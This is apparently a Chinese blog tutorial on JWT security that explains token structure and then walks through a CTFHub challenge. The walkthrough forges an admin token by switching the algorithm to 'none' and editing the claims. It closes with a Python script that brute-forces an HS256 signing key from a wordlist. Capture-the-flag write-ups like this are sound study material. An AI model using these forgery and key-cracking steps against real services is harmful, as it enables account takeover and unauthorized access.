jwt安全

什么是jwt?

JWT(全称:Json Web Token)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。用通俗易懂的话来讲,JWT主要用于用户登录鉴权,就是一个认证机制。

image-20220504132619714

jwt的数据格式

jwt的数据格式分为三部分,用 点( . ) 来分隔

1
xxxxx.yyyyy.zzzzz

image-20220504133505404

我们可以把数据放到网站中去解析

https://jwt.io/

image-20220504133633387

我们一般拿到的JWT数据都是经过base64 url算法转换过的

jwt CTF题目

在ctf hub里有关于jwt的题,那么我们来试一试

image-20220504133954041

打开题目链接发现是一个登录界面,先注册一个账号,登录进去看看是什么东西

既然是jwt相关的题目,那么登录包我们肯定要抓一下

image-20220504134300945

可以看到这就是一个jwt的验证数据。我们拿到网站里解码一下

image-20220504134407512

登录进来之后发现flag提示,尝试获取flag,被拒绝

image-20220504134509649

这个应该是权限不够,那么我们肯定要伪造用户

然后因为这个题是用的nodejs环境,在nodejs中有一个注册用户js文件

1
/controllers/api.js

经过拼接访问可以知道只有admin用户可以拿到flag

image-20220504134829008

所以接下来我们来伪造一下

更改header头

先来伪造加密算法,把HS256改为none

image-20220504135043432

更改用户名为admin

image-20220504135150366

在这个题中,我们会发现这里还有一个secretid值,看样子还用到了id值来进行判断,所以我们把这个id值0改为空,也就是用 [] 中括号来表示,里面什么也没有

应该注意到了,还有一个数据iat:1651642943,这个一般是一个时间戳的值,用于表示你这个登录验证有效期有多长时间,所以我们得改在现在得时间后面,今天是5.4,我改为5.5

image-20220504140251886

密钥

第三部分密钥因为我们在header头已经设置了不使用任何签名算法,所以这部分为空

最终的的jwt数据为

1
ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0=ewogICJzZWNyZXRpZCI6IFtdLAogICJ1c2VybmFtZSI6ICJhZG1pbiIsCiAgInBhc3N3b3JkIjogInRlc3QiLAogICJpYXQiOiAxNjUxNzMwNTQ3Cn0=

image-20220504135620024

这里有两部分数据,前面是header,后面是主体payload

因为base64编码格式会在jwt里面起冲突,所以我们把所有的等号(=)都给删除,然后每段用 点(.) 来连接,最终的jwt数据格式为

1
ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.ewogICJzZWNyZXRpZCI6IFtdLAogICJ1c2VybmFtZSI6ICJhZG1pbiIsCiAgInBhc3N3b3JkIjogInRlc3QiLAogICJpYXQiOiAxNjUxNzMwNTQ3Cn0.

第三部分没有,所以什么也不添加

然后我们拿着伪造的admin用户去替换登陆包数据

image-20220504135947192

还有一个地方需要更改,别忘了改前面username的值,把test改为admin

成功以admin用户身份登录,获取一下返回包,拿到flag

image-20220504140721658

jwt脚本爆破

上面这个题如果说允许我们修改签名的算法等等这些,假如遇到不能修改的,那我们还可以爆破签名的密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import jwt
import json

alg = "HS256"
path = "/Users/glan/Desktop/pass.txt"
jwt_str = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJ0ZXN0IiwicGFzc3dvcmQiOiJ0ZXN0IiwiaWF0IjoxNjUxNjQyOTQzfQ.8hsSrqfU0djPrRtBcadiqkfNfHHCLm8_RZ4_VPNSNWM"
with open(path, encoding='utf-8') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str, verify=True, key=key_, algorithms="HS256")
print('found key! --> ' + key_)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key_)
break
except jwt.exceptions.InvalidSignatureError:
continue
else:
print("key not found!")

我们设置密钥为123456,然后拿去爆破

image-20220504141350431

运气好是能够爆破出来的

image-20220504141930906